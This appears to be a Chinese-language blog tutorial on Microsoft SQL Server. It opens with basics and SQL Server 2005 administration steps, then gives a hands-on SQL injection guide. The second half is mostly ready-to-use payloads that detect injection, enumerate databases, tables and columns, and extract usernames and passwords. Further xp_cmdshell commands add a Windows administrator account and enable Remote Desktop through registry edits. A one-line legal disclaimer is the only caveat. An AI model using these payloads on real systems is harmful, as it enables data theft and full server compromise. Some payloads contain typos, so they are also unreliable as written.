一、MSSQL介绍
MSSQL商业,性能好,易用,企业支持好,有很多精度要高的类型,学校、政府、在线办公、游戏、棋牌等部门可能会用。
端口:1433
后缀:.mdf/.ldf
sa权限:数据库操作,文件管理,命令执行,注册表读取等,相当于win系统system
db权限:文件管理,数据库操作等,相当于win系统adminnstrators
public权限:数据库操作,相当于win系统guest
二、SQL SERVER 2005
1、安装成功,输入账号密码登陆
2、master、model、msdb、tempdb这四个数据库是系统自带数据库
3、右击数据库,新建数据库,自动生成两个文件
4、双击展开新建的数据库,右击表,添加表,输入列名和数据类型,保存
5、右击新建的表,打开表,然后就可以添加我们的数据了
6、删除数据库,需要先右击要删除的数据库,选择任务,再选择分离,然后再进目录删除数据库
7、添加外来的数据库,先把数据库文件放进目录,然后右击数据数据库,选择附加
8、备份数据库,选择要备份的数据库右击,选择生成脚本,选择为服务器版本编写脚本(修改为自己要用的版本)
9、还原数据库,将导出的脚本里面的内容复制到sql语句,运行,就会和重新生成一个数据库,里面的内容和备份数据库的内容一样。
三、代码调用
<%
cctt = “provier=sqloledb;source=local;uid=sa;pwd=**;database=database1”
Set conn = Server.Createobject(“ADODB.Connection”)
conn.open cctt
%>
provider后面的不用管,照写; source后面的可以是ip地址,这里我用的是本地的;sa是内置的用户,它的密码是你在安装的时候设置的; database后面是你要连接的数据库的名称.
四、判断注入
and 1=1 返回正常
and 1=2 返回错误,说明有注入
and user>0 返回正常,说明是sqlserver注入
and (select count(*)from sysobjects)>0 mssql 返回正常,说明是sqlserver注入
猜数表名
and( select count()from[表名])>0
猜字段
and( select Count(字段名)from[表名])>0
猜字段中记录长度
and(select top1len(字段名)from表名)>0
猜字段的asc值( access)
and( (select top1 asc(mid(字段名,1,1)from表名)>0
猜字段的ascii值(mssql)
and( select top1 unicode(substring(字段名1,1)from表名)>0
测试权限结构( mssql)
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’));-- //判断是否是系统管理员
and 1=(select IS_SRVROLEMEMBERC(‘serveradmin’));–
and 1=(select IS_SRVROLEMEMBERC(‘setupadmin’));–
and 1=(select IS_SRVROLEMEMBERC(‘securityadmin’));–
and 1=(select IS_SRVROLEMEMBER(‘diskadmin’));–
and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’);–
and 1=(select is_srvrolemember(‘db_owner’));–//判断是否是库权限
and 1=(select is_srvrolemember(‘public’));–//判断是否是pubilc权限
and 1=convert(int,db_name())或1=(select db_name())//当前数据库名
and 1=(select @@servername)//本地服务名
and 1=(select HAS_DBACCESS(‘master’))//判断是否有库读取权限
猜版本号
id=1 and 1=(select @@version)
id=@@version
猜数据库名称
id=1 and 1=(select db_name())
id=db_name()
获取所有数据库
id=1 and 1=(select name from master…sysdatabases for xml path)
获取第一个用户数据库
id=1 and 1=(select top 1 name from master…sysdatabases where dbid>4) #数据库是从第五个开始排的
获取下一个数据库
id=1 and 1=(select top 1 name from master…sysdatabases where dbid>4 and name <>‘上面查出来的数据库’)
或者
id=1 and 1=(select top 1 name from master…sysdatabases where dbid>5) #一次类推
获取所有表
id=1 and 1=(select name from sysobjects for xml path)
获取第一张表
id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’)
获取下一张表
id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’ and name <>‘上面查出来的表’)
获取表users第一列列名uname
id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘users’))
获取表users第二列列名upass
id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘users’) and name <> ‘uname’)
依次往后爆破
获取表users第一个用户名
?id=1 and 1=(select top 1 uname from users)
获取密码
?id=1 and 1=(select top 1 upass from users)
五、利用xp_cmdshell添加用户
id=1 ;exec master…xp_cmdshell ‘net user username password /add’
id=1 ;exec master… xp_cmdshell ‘net localgroup administrators username /add’ 添加到管理员组
六、开启3389端口
id=1 ;exec master…xp_cmdshell ‘sc config termservice start=auto’
;exec master…xp_cmdshell ‘net start termservice’
;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /vfDenyTSConnections /t REG_DWORD/d 0x0/f’
禁止非法,后果自负